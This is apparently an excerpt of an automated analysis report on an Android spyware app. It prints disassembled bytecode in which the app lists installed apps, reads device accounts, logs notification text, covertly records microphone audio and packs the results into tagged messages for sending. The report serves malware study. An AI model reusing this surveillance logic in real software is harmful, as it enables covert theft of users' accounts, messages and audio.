205invoke-static {v0, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: VS
    • msg: IOException<<<<<<<<<
206goto/16 :goto_f2
APIs
  • java.lang.StringBuffer.<init>
  • sys.arshad.sys.MainActivity.getPackageManager
  • android.content.pm.PackageManager.getInstalledApplications
  • java.util.List.iterator
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
  • android.content.pm.PackageManager.getLaunchIntentForPackage
  • java.lang.Object.equals
  • android.content.pm.PackageManager.getApplicationIcon
  • java.lang.String.<init>
  • android.graphics.drawable.BitmapDrawable.getBitmap
  • java.io.ByteArrayOutputStream.<init>
  • android.graphics.Bitmap.compress
  • java.io.ByteArrayOutputStream.toByteArray
  • android.util.Base64.encodeToString
  • java.lang.StringBuilder.<init>
  • android.content.pm.PackageManager.getApplicationLabel
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuffer.append
  • android.content.pm.PackageManager$NameNotFoundException.printStackTrace
  • java.lang.String.<init>
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
Strings
  • [(0)sp]
  • [(0)Ln]
  • B2:::
  • [(0)tcp]
Position Instruction Meta Information
0new-instance v3, Ljava/lang/StringBuffer;
2invoke-direct {v3}, Ljava/lang/StringBuffer;-><init>()V
4iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$21;->a:Lsys/arshad/sys/MainActivity$b;
6iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
8invoke-virtual {v0}, Lsys/arshad/sys/MainActivity;->getPackageManager()Landroid/content/pm/PackageManager;
9move-result-object v4
10const/16 v0, 0x80
12invoke-virtual {v4, v0}, Landroid/content/pm/PackageManager;->getInstalledApplications(I)Ljava/util/List;
  • Data flow analysis:
    • flags: 128
13move-result-object v0
15invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
16move-result-object v5
17cond_17:
18invoke-interface {v5}, Ljava/util/Iterator;->hasNext()Z
19move-result v0
20if-eqz v0, :cond_96
22invoke-interface {v5}, Ljava/util/Iterator;->next()Ljava/lang/Object;
23move-result-object v0
24check-cast v0, Landroid/content/pm/ApplicationInfo;
26iget-object v1, v0, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
28invoke-virtual {v4, v1}, Landroid/content/pm/PackageManager;->getLaunchIntentForPackage(Ljava/lang/String;)Landroid/content/Intent;
29move-result-object v1
30if-eqz v1, :cond_17
32iget-object v1, v0, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
34invoke-virtual {v4, v1}, Landroid/content/pm/PackageManager;->getLaunchIntentForPackage(Ljava/lang/String;)Landroid/content/Intent;
35move-result-object v1
37const-string v2, ""
39invoke-virtual {v1, v2}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
40move-result v1
41if-nez v1, :cond_17
42try_start_39:
43iget-object v1, v0, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
45invoke-virtual {v4, v1}, Landroid/content/pm/PackageManager;->getApplicationIcon(Ljava/lang/String;)Landroid/graphics/drawable/Drawable;
46move-result-object v1
47new-instance v2, Ljava/lang/String;
49invoke-direct {v2}, Ljava/lang/String;-><init>()V
50if-eqz v1, :cond_c6
51check-cast v1, Landroid/graphics/drawable/BitmapDrawable;
53invoke-virtual {v1}, Landroid/graphics/drawable/BitmapDrawable;->getBitmap()Landroid/graphics/Bitmap;
54move-result-object v1
55new-instance v2, Ljava/io/ByteArrayOutputStream;
57invoke-direct {v2}, Ljava/io/ByteArrayOutputStream;-><init>()V
59sget-object v6, Landroid/graphics/Bitmap$CompressFormat;->PNG:Landroid/graphics/Bitmap$CompressFormat;
60const/4 v7, 0x1
62invoke-virtual {v1, v6, v7, v2}, Landroid/graphics/Bitmap;->compress(Landroid/graphics/Bitmap$CompressFormat;ILjava/io/OutputStream;)Z
  • Data flow analysis:
    • quality: 1
64invoke-virtual {v2}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
65move-result-object v1
66const/4 v2, 0x2
68invoke-static {v1, v2}, Landroid/util/Base64;->encodeToString([BI)Ljava/lang/String;
  • Data flow analysis:
    • flags: 2
69move-result-object v1
70goto_60: new-instance v2, Ljava/lang/StringBuilder;
72invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
74invoke-virtual {v4, v0}, Landroid/content/pm/PackageManager;->getApplicationLabel(Landroid/content/pm/ApplicationInfo;)Ljava/lang/CharSequence;
75move-result-object v6
77invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
78move-result-object v2
80const-string v6, "[(0)sp]"
82invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
83move-result-object v2
85iget-object v0, v0, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
87invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
88move-result-object v0
90const-string v2, "[(0)sp]"
92invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
93move-result-object v0
95invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
96move-result-object v0
98const-string v1, "[(0)Ln]"
100invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
101move-result-object v0
103invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
104move-result-object v0
106invoke-virtual {v3, v0}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
107try_end_90: goto/16 :goto_17
108catch_91: move-exception v0
110invoke-virtual {v0}, Landroid/content/pm/PackageManager$NameNotFoundException;->printStackTrace()V
111goto/16 :goto_17
112cond_96: new-instance v0, Ljava/lang/String;
114invoke-direct {v0, v3}, Ljava/lang/String;-><init>(Ljava/lang/StringBuffer;)V
116iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$21;->a:Lsys/arshad/sys/MainActivity$b;
118iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
119new-instance v2, Ljava/lang/StringBuilder;
121invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
123const-string v3, "B2:::"
125invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B2:::
126move-result-object v2
128invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
129move-result-object v0
131const-string v2, "[(0)tcp]"
133invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)tcp]
134move-result-object v0
136iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$21;->a:Lsys/arshad/sys/MainActivity$b;
138iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
140iget-object v2, v2, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
142invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
143move-result-object v0
145invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
146move-result-object v0
148invoke-virtual {v1, v0}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
149return-void
150cond_c6: move-object v1, v2
151goto/16 :goto_60
APIs
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity.e
  • sys.arshad.sys.MainActivity.openFileOutput
  • java.lang.String.toString
  • java.lang.String.getBytes
  • java.io.FileOutputStream.write
  • java.io.FileOutputStream.close
  • java.lang.StringBuilder.<init>
  • android.os.Environment.getExternalStorageDirectory
  • java.io.File.getAbsolutePath
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • java.io.File.exists
  • java.io.File.mkdirs
  • java.lang.StringBuilder.<init>
  • android.os.Environment.getExternalStorageDirectory
  • java.io.File.getAbsolutePath
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • java.io.File.exists
  • java.io.File.mkdirs
  • sys.arshad.sys.MainActivity.f
  • sys.arshad.sys.MainActivity.openFileOutput
  • java.lang.String.toString
  • java.lang.String.getBytes
  • java.io.FileOutputStream.write
  • java.io.FileOutputStream.close
  • sys.arshad.sys.MainActivity.d
Strings
  • start
  • Tel.txt
  • Stop
  • /public
  • /public/M
Position Instruction Meta Information
0try_start_0:
1iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$37;->a:Ljava/lang/String;
3const-string v1, "start"
5invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: start
6move-result v0
7const/4 v1, -0x1
8if-ne v0, v1, :cond_2e
10iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$37;->b:Lsys/arshad/sys/MainActivity$b;
12iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
14invoke-virtual {v0}, Lsys/arshad/sys/MainActivity;->e()V
16iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$37;->b:Lsys/arshad/sys/MainActivity$b;
18iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
20const-string v1, "Tel.txt"
21const/4 v2, 0x0
23invoke-virtual {v0, v1, v2}, Lsys/arshad/sys/MainActivity;->openFileOutput(Ljava/lang/String;I)Ljava/io/FileOutputStream;
  • Data flow analysis:
    • p0: Tel.txt
    • p1: 0
24move-result-object v0
26const-string v1, "Stop"
28invoke-virtual {v1}, Ljava/lang/String;->toString()Ljava/lang/String;
29move-result-object v1
31invoke-virtual {v1}, Ljava/lang/String;->getBytes()[B
32move-result-object v1
34invoke-virtual {v0, v1}, Ljava/io/FileOutputStream;->write([B)V
36invoke-virtual {v0}, Ljava/io/FileOutputStream;->close()V
37goto_2d: return-void
38cond_2e: new-instance v0, Ljava/io/File;
39new-instance v1, Ljava/lang/StringBuilder;
41invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
43invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
44move-result-object v2
46invoke-virtual {v2}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
47move-result-object v2
49invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
50move-result-object v1
52const-string v2, "/public"
54invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: /public
55move-result-object v1
57invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
58move-result-object v1
60invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
62invoke-virtual {v0}, Ljava/io/File;->exists()Z
63move-result v1
64if-nez v1, :cond_57
66invoke-virtual {v0}, Ljava/io/File;->mkdirs()Z
67cond_57: new-instance v0, Ljava/io/File;
68new-instance v1, Ljava/lang/StringBuilder;
70invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
72invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
73move-result-object v2
75invoke-virtual {v2}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
76move-result-object v2
78invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
79move-result-object v1
81const-string v2, "/public/M"
83invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: /public/M
84move-result-object v1
86invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
87move-result-object v1
89invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
91invoke-virtual {v0}, Ljava/io/File;->exists()Z
92move-result v1
93if-nez v1, :cond_80
95invoke-virtual {v0}, Ljava/io/File;->mkdirs()Z
96cond_80:
97iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$37;->b:Lsys/arshad/sys/MainActivity$b;
99iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
101const-string v1, "start"
103invoke-static {v0, v1}, Lsys/arshad/sys/MainActivity;->f(Lsys/arshad/sys/MainActivity;Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p1: start
105iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$37;->b:Lsys/arshad/sys/MainActivity$b;
107iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
109const-string v1, "Tel.txt"
110const/4 v2, 0x0
112invoke-virtual {v0, v1, v2}, Lsys/arshad/sys/MainActivity;->openFileOutput(Ljava/lang/String;I)Ljava/io/FileOutputStream;
  • Data flow analysis:
    • p0: Tel.txt
    • p1: 0
113move-result-object v0
115iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$37;->a:Ljava/lang/String;
117invoke-virtual {v1}, Ljava/lang/String;->toString()Ljava/lang/String;
118move-result-object v1
120invoke-virtual {v1}, Ljava/lang/String;->getBytes()[B
121move-result-object v1
123invoke-virtual {v0, v1}, Ljava/io/FileOutputStream;->write([B)V
125invoke-virtual {v0}, Ljava/io/FileOutputStream;->close()V
127iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$37;->b:Lsys/arshad/sys/MainActivity$b;
129iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
131invoke-virtual {v0}, Lsys/arshad/sys/MainActivity;->d()V
132try_end_ab: goto/16 :goto_2d
133catch_ac: move-exception v0
134goto/16 :goto_2d
APIs
  • android.content.Intent.getStringExtra
  • sys.arshad.sys.MainActivity.openFileOutput
  • java.text.SimpleDateFormat.<init>
  • java.util.Calendar.getInstance
  • java.util.Calendar.getTime
  • java.text.DateFormat.format
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.String.toString
  • java.lang.String.getBytes
  • java.io.FileOutputStream.write
  • java.io.FileOutputStream.close
Strings
  • package
  • title
  • text
  • odNotice.txt
  • EEE, d MMM yyyy, HH:mm
  • \npackage :
  • \n
  • title :
  • text :
  • *###########
  • ###########*
Position Instruction Meta Information
1const-string v0, "package"
3invoke-virtual {p2, v0}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: package
4move-result-object v0
6const-string v1, "title"
8invoke-virtual {p2, v1}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: title
9move-result-object v1
11const-string v2, "text"
13invoke-virtual {p2, v2}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: text
14move-result-object v2
15try_start_12:
16iget-object v3, p0, Lsys/arshad/sys/MainActivity$2;->a:Lsys/arshad/sys/MainActivity;
18const-string v4, "odNotice.txt"
19const v5, 0x8000
21invoke-virtual {v3, v4, v5}, Lsys/arshad/sys/MainActivity;->openFileOutput(Ljava/lang/String;I)Ljava/io/FileOutputStream;
  • Data flow analysis:
    • p0: odNotice.txt
    • p1: 32768
22move-result-object v3
23new-instance v4, Ljava/text/SimpleDateFormat;
25const-string v5, "EEE, d MMM yyyy, HH:mm"
27invoke-direct {v4, v5}, Ljava/text/SimpleDateFormat;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: EEE, d MMM yyyy, HH:mm
29invoke-static {}, Ljava/util/Calendar;->getInstance()Ljava/util/Calendar;
30move-result-object v5
32invoke-virtual {v5}, Ljava/util/Calendar;->getTime()Ljava/util/Date;
33move-result-object v5
35invoke-virtual {v4, v5}, Ljava/text/DateFormat;->format(Ljava/util/Date;)Ljava/lang/String;
36move-result-object v4
37new-instance v5, Ljava/lang/StringBuilder;
39invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
41const-string v6, "\npackage : "
43invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: \npackage :
44move-result-object v5
46invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
47move-result-object v0
49const-string v5, "\n"
51invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: \n
52move-result-object v0
54const-string v5, "title : "
56invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: title :
57move-result-object v0
59invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
60move-result-object v0
62const-string v1, "\n"
64invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: \n
65move-result-object v0
67const-string v1, "text : "
69invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: text :
70move-result-object v0
72invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
73move-result-object v0
75const-string v1, "\n"
77invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: \n
78move-result-object v0
80const-string v1, "*###########"
82invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: *###########
83move-result-object v0
85invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
86move-result-object v0
88const-string v1, "###########*"
90invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ###########*
91move-result-object v0
93invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
94move-result-object v0
96invoke-virtual {v0}, Ljava/lang/String;->toString()Ljava/lang/String;
97move-result-object v0
99invoke-virtual {v0}, Ljava/lang/String;->getBytes()[B
100move-result-object v0
102invoke-virtual {v3, v0}, Ljava/io/FileOutputStream;->write([B)V
104invoke-virtual {v3}, Ljava/io/FileOutputStream;->close()V
105goto_87: return-void
106catch_88: move-exception v0
107goto/16 :goto_87
108catch_8a: move-exception v0
109goto/16 :goto_87
Cross References
APIs
  • sys.arshad.sys.MainActivity.getSystemService
  • sys.arshad.sys.MainActivity.a
  • java.lang.StringBuilder.<init>
  • android.os.Environment.getExternalStorageDirectory
  • java.io.File.getAbsolutePath
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • java.io.File.exists
  • java.io.File.mkdirs
  • java.lang.StringBuilder.<init>
  • android.os.Environment.getExternalStorageDirectory
  • java.io.File.getAbsolutePath
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.b
  • android.media.MediaRecorder.<init>
  • sys.arshad.sys.MainActivity.a
  • sys.arshad.sys.MainActivity.m
  • android.media.MediaRecorder.setAudioSource
  • sys.arshad.sys.MainActivity.m
  • android.media.MediaRecorder.setOutputFormat
  • sys.arshad.sys.MainActivity.m
  • android.media.MediaRecorder.setAudioEncoder
  • sys.arshad.sys.MainActivity.m
  • sys.arshad.sys.MainActivity.n
  • android.media.MediaRecorder.setOutputFile
  • sys.arshad.sys.MainActivity.m
  • android.media.MediaRecorder.prepare
  • sys.arshad.sys.MainActivity.m
  • android.media.MediaRecorder.start
Strings
  • audio
  • /public
  • /public/recoording.wav
Position Instruction Meta Information
0try_start_0:
1iget-object v1, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
3iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
5const-string v2, "audio"
7invoke-virtual {v0, v2}, Lsys/arshad/sys/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: audio
8move-result-object v0
9check-cast v0, Landroid/media/AudioManager;
11invoke-static {v1, v0}, Lsys/arshad/sys/MainActivity;->a(Lsys/arshad/sys/MainActivity;Landroid/media/AudioManager;)Landroid/media/AudioManager;
12new-instance v0, Ljava/io/File;
13new-instance v1, Ljava/lang/StringBuilder;
15invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
17invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
18move-result-object v2
20invoke-virtual {v2}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
21move-result-object v2
23invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
24move-result-object v1
26const-string v2, "/public"
28invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: /public
29move-result-object v1
31invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
32move-result-object v1
34invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
36invoke-virtual {v0}, Ljava/io/File;->exists()Z
37move-result v1
38if-nez v1, :cond_38
40invoke-virtual {v0}, Ljava/io/File;->mkdirs()Z
41cond_38:
42iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
43new-instance v1, Ljava/lang/StringBuilder;
45invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
47invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
48move-result-object v2
50invoke-virtual {v2}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
51move-result-object v2
53invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
54move-result-object v1
56const-string v2, "/public/recoording.wav"
58invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: /public/recoording.wav
59move-result-object v1
61invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
62move-result-object v1
64invoke-static {v0, v1}, Lsys/arshad/sys/MainActivity;->b(Lsys/arshad/sys/MainActivity;Ljava/lang/String;)Ljava/lang/String;
66iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
67new-instance v1, Landroid/media/MediaRecorder;
69invoke-direct {v1}, Landroid/media/MediaRecorder;-><init>()V
71invoke-static {v0, v1}, Lsys/arshad/sys/MainActivity;->a(Lsys/arshad/sys/MainActivity;Landroid/media/MediaRecorder;)Landroid/media/MediaRecorder;
73iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
75invoke-static {v0}, Lsys/arshad/sys/MainActivity;->m(Lsys/arshad/sys/MainActivity;)Landroid/media/MediaRecorder;
76move-result-object v0
77const/4 v1, 0x1
79invoke-virtual {v0, v1}, Landroid/media/MediaRecorder;->setAudioSource(I)V
  • Data flow analysis:
    • audio_source: 1
81iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
83invoke-static {v0}, Lsys/arshad/sys/MainActivity;->m(Lsys/arshad/sys/MainActivity;)Landroid/media/MediaRecorder;
84move-result-object v0
85const/4 v1, 0x1
87invoke-virtual {v0, v1}, Landroid/media/MediaRecorder;->setOutputFormat(I)V
  • Data flow analysis:
    • output_format: 1
89iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
91invoke-static {v0}, Lsys/arshad/sys/MainActivity;->m(Lsys/arshad/sys/MainActivity;)Landroid/media/MediaRecorder;
92move-result-object v0
93const/4 v1, 0x3
95invoke-virtual {v0, v1}, Landroid/media/MediaRecorder;->setAudioEncoder(I)V
  • Data flow analysis:
    • audio_encoder: 3
97iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
99invoke-static {v0}, Lsys/arshad/sys/MainActivity;->m(Lsys/arshad/sys/MainActivity;)Landroid/media/MediaRecorder;
100move-result-object v0
102iget-object v1, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
104invoke-static {v1}, Lsys/arshad/sys/MainActivity;->n(Lsys/arshad/sys/MainActivity;)Ljava/lang/String;
105move-result-object v1
107invoke-virtual {v0, v1}, Landroid/media/MediaRecorder;->setOutputFile(Ljava/lang/String;)V
109iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
111invoke-static {v0}, Lsys/arshad/sys/MainActivity;->m(Lsys/arshad/sys/MainActivity;)Landroid/media/MediaRecorder;
112move-result-object v0
114invoke-virtual {v0}, Landroid/media/MediaRecorder;->prepare()V
116iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
118invoke-static {v0}, Lsys/arshad/sys/MainActivity;->m(Lsys/arshad/sys/MainActivity;)Landroid/media/MediaRecorder;
119move-result-object v0
121invoke-virtual {v0}, Landroid/media/MediaRecorder;->start()V
122goto_a1: return-void
123catch_a2: move-exception v0
124goto/16 :goto_a1
APIs
  • java.lang.StringBuffer.<init>
  • sys.arshad.sys.MainActivity.getApplicationContext
  • android.support.v4.a.a.a
  • sys.arshad.sys.MainActivity.getApplicationContext
  • android.accounts.AccountManager.get
  • android.accounts.AccountManager.getAccounts
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuffer.append
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuffer.toString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.PrintStream.println
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuffer.toString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
Strings
  • android.permission.GET_ACCOUNTS
  • [(0)sp]
  • [(0)Ln]
  • <<<<<<<<<<<<<<
  • B22:::
  • [(0)tcp]
Position Instruction Meta Information
0new-instance v1, Ljava/lang/StringBuffer;
2invoke-direct {v1}, Ljava/lang/StringBuffer;-><init>()V
3try_start_5:
4iget-object v0, p0, Lsys/arshad/sys/MainActivity$8;->a:Lsys/arshad/sys/MainActivity;
6invoke-virtual {v0}, Lsys/arshad/sys/MainActivity;->getApplicationContext()Landroid/content/Context;
7move-result-object v0
9const-string v2, "android.permission.GET_ACCOUNTS"
11invoke-static {v0, v2}, Landroid/support/v4/a/a;->a(Landroid/content/Context;Ljava/lang/String;)I
  • Data flow analysis:
    • p1: android.permission.GET_ACCOUNTS
12move-result v0
13if-eqz v0, :cond_13
14cond_13:
15iget-object v0, p0, Lsys/arshad/sys/MainActivity$8;->a:Lsys/arshad/sys/MainActivity;
17invoke-virtual {v0}, Lsys/arshad/sys/MainActivity;->getApplicationContext()Landroid/content/Context;
18move-result-object v0
20invoke-static {v0}, Landroid/accounts/AccountManager;->get(Landroid/content/Context;)Landroid/accounts/AccountManager;
21move-result-object v0
23invoke-virtual {v0}, Landroid/accounts/AccountManager;->getAccounts()[Landroid/accounts/Account;
24move-result-object v2
25array-length v3, v2
26const/4 v0, 0x0
27goto_23: if-ge v0, v3, :cond_4f
28aget-object v4, v2, v0
29new-instance v5, Ljava/lang/StringBuilder;
31invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
33iget-object v6, v4, Landroid/accounts/Account;->type:Ljava/lang/String;
35invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
36move-result-object v5
38const-string v6, "[(0)sp]"
40invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
41move-result-object v5
43iget-object v4, v4, Landroid/accounts/Account;->name:Ljava/lang/String;
45invoke-virtual {v5, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
46move-result-object v4
48const-string v5, "[(0)Ln]"
50invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
51move-result-object v4
53invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
54move-result-object v4
56invoke-virtual {v1, v4}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
57try_end_4b: add-int/lit8 v0, v0, 0x1
